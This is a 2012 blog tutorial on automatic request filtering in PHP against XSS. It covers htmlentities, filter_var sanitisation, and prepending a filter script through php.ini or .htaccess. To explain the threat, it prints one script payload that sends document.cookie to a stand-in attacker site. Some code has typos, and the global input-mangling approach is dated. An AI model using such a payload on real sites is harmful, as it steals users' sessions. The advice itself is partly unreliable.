Automatic Request Filter in PHP

November 21, 2012, by | Start Discussion

Filtering plays a very important role when you are thinking about securing your application against malicious attacks. Security is a very important aspect while developing a web application. There are several kinds of attacks that could be used to break into your web application. Based on the kind of attack the results that hacker gets also varies. Suppose you have SQL injection vulnerability in your application using SQL injection vulnerability an attacker can do lots of things, simplest being getting information related to users registered in your web application. And when a hacker has information about your user he can do a lot of things. However we are not going to discuss it in detail. Filtering does not allow you to fully secure your web application but it does increase some level of security in your web application. The simplest attack that you can stop by doing request filtering is XSS.I will be giving you a step by step guide on how you can stop XSS on your web application using different techniques.

In this article we will try to solve some of the questions related to filtering:-

  • What is Filtering?
  • Why is it required?
  • How can we do Request filtering in PHP?
  • Why do we need to automate it?
  • How can we automate it in PHP?

This is most helpful to someone who is seeking a quick reference to request filtering in PHP.

What is Filtering?

Filtering in general terms can be described as removing unwanted contents from input ,validating input data against some format or converting your input  data in some format so that your application does not behave in unwanted manner.

There are two main types of filtering one is validation and other is sanitization.

  • Validation is to check if the data that is being filtered meets certain criteria. For example we can validate whether an email id is valid as it needs to follow a proper pattern.
  • Sanitization is to either remove or encode special characters which may not be desired in a certain string.

Example of sanitization may be that we encode <script> into %3Cscript%3E. Why do we need to do this will be explained in the next section.

Why is Filtering Required?

Let’s understand the importance of filtering by a scenario:-

Suppose you have a web application in which you have a Feedback section. A user need not be a member of website and he can post the feedback. Only the admin can view the feedbacks. Now if proper validation has not been done and user is able to post malicious JavaScript also then there can be a problem. How it can be a problem lets understand it.

Suppose your application has some url like: www.mysite.com/feedback.php

A hacker has created an application which is used to store the cookies he has stolen. Now if proper validation is not done and if your application is vulnerable to XSS he can steal your credentials by some JavaScript similar to this.

<script language=”javascript”>document.localtion=”http://hackerSite.xyz/stealcookie.php?cookie=”+document.cookie</script>

If your admin clicks on this he would be redirected to hackers application where credentials may be stored using the cookies. Now what can he do with admin credentials depends on your application but surely he is able to break into your web application which in any case should not happen.

Consider a comment page is there which can be viewed by everyone and person post similar link and users happen to click on it which will lead to their accounts being compromised. Now if user accounts are compromised it will lead to a serious problem. You might be storing some sensitive information about user which if goes into wrong hands may create some serious trouble for user and You.

In the next section we will be looking forward to figure out that how can we implement filtering in PHP.

How can we do Request filtering in PHP?

To do request filtering you should be able to first catch the request and then filter the data in each request attribute. I will be explaining how to capture all the requests in PHP and will be explaining two ways of filtering the Request attributes.

Let us first understand how we can capture all the request attributes.

PHP has three key –value based arrays for handling request $_GET, $_POST and $_REQUEST.

$_GET is used to capture all the attributes sent by GET method.
$_POST is used to capture all the attributes sent by POST method.
$_REQUEST is combination of $_GET and $_POST. However I would suggest you not to totally depend on $_REQUEST as you might not be able to get all attributes in $_REQUEST due to some server configurations.

Now to handle all this there is small piece of code.

I have written a code for handling all GET attributes in a request similar approach should be used for $_POST and $_REQUEST.

if (! empty ($_GET))
{
foreach ($_GET as $key => $value) {
//Filtering code to be put here
}
}

Just change the name to $_POST and $_REQUEST in foreach to implement it for other two.

Now we will look forward to how can we do the filtering with two approaches

1) Using htmlentities – htmlentities is a build in function in PHP it encoded HTML to htmlentities so < is converted to “&lt;” Now when you do this the browser will represent it as < but it will prevent browser from using it as HTML and so JavaScript will not be executed.

Here is the code for implementing htmlentities-

$_GET [$key] = htmlentities ($value)

Just put this code inside foreach loop.

2) Using Filters in PHP – Filters is a very useful extension in PHP and you should use it in order to provide better security to your code. There are mainly two types of filters in PHP.

  • Validate Filters – This set of filters is used to validate or check if data meets certain pattern or qualification. An example can be to validate whether user has entered a valid email. So an email has some pattern like abc@somesite.com or in etc. You can think it to validate it by writing your own algorithm or use filter functions in PHP. Like for email you have  FILTER_VALIDATE_EMAIL function. For more info on Filters please follow http://php.net/manual/en/book.filter.php.
  • Sanitize Filters – Sanitization filters sanitize data by either encoding data or removing special characters. There are many Sanitization filters and you can use them as per your requirement.

For filtering data for stopping XSS we will be using FILTER_SANITIZE_ENCODED. Just try out this function and you will see the results and differences. This will help you in blocking XSS attack.

Now here is the code for implementing this filter.

$_GET [$key] =filter_var ($value, FILTER_SANITIZE_ENCODED);

Just put this code inside foreach loop.

Why do we need to automate it?

Now you might be thinking that we can write these code in a single file and include it in each script using <?phprequire_once ?> type of functions. This approach seems good but consider a case when you have already worked on your web application and web application might be containing scripts raging from few hundreds, to as large as thousands. In this case adding the script on every page will be a tedious job and you may miss some pages. So what can we do? The answer is to automate the prepending of script. So how can we do the automation of prepending of script will be explained in next section.

How can we automate it in PHP?

I will be explaining the two approaches for automating this in PHP. The following two approaches can be used for many things apart from filtering.

1) Using php.ini – As a developer of PHP you should know about php.ini file. php.ini file is a configuration file which is used by Apache Server to load configuration settings for your PHP. Common examples that you might hear will be setting maximum upload limit, maximum time to execute a script, register global variables etc. But we are more interested in knowing how can we force a script to prepend on every script that web-application has without touching the code. So to do this you need to open your php.ini file in a text editor and search for auto_prepend_file. Here is a screenshot:-

You can append as well prepend a script. Here we need to prepend the script.

Put absolute path of your filter script inside the quotes that you would have created using the methods explained above.

Now in order to apply these settings you need to restart your server because apache server looks into php.ini file whenever it starts for loading PHP configuration.

Now question is where we should do configuration like this. Now your server might be having many web applications so whenever you want that your script should be implemented on all scripts on all web applications hosted on server you should go for php.ini settings however when you want settings to be applied for particular web application below is the approach.

2) Using .htaccess – .htaccess is a configuration file used by Apache web servers to configure web applications on directory bases. Search for .htaccess file inside your web application if it is not available create one .htaccess file. Whenever a document is called ‘.htaccess’ file also needs to be loaded. Thus it may affect your performance.
To implement add following code to .htaccess file.

php_valueauto_prepend_file ""

Put absolute or relative path of your filter file inside double quotes.

In this case you don’t need to restart your server.

‘.htaccess’ file can be used for doing a lot of things.

So this is how you can automate request filtering in PHP. We have created a simple filter for stopping XSS however you can create your custom filter using the same approach as per your requirement.

ParasVij
vijparas@gmail.com

 

Author bio not avialable

Leave a Reply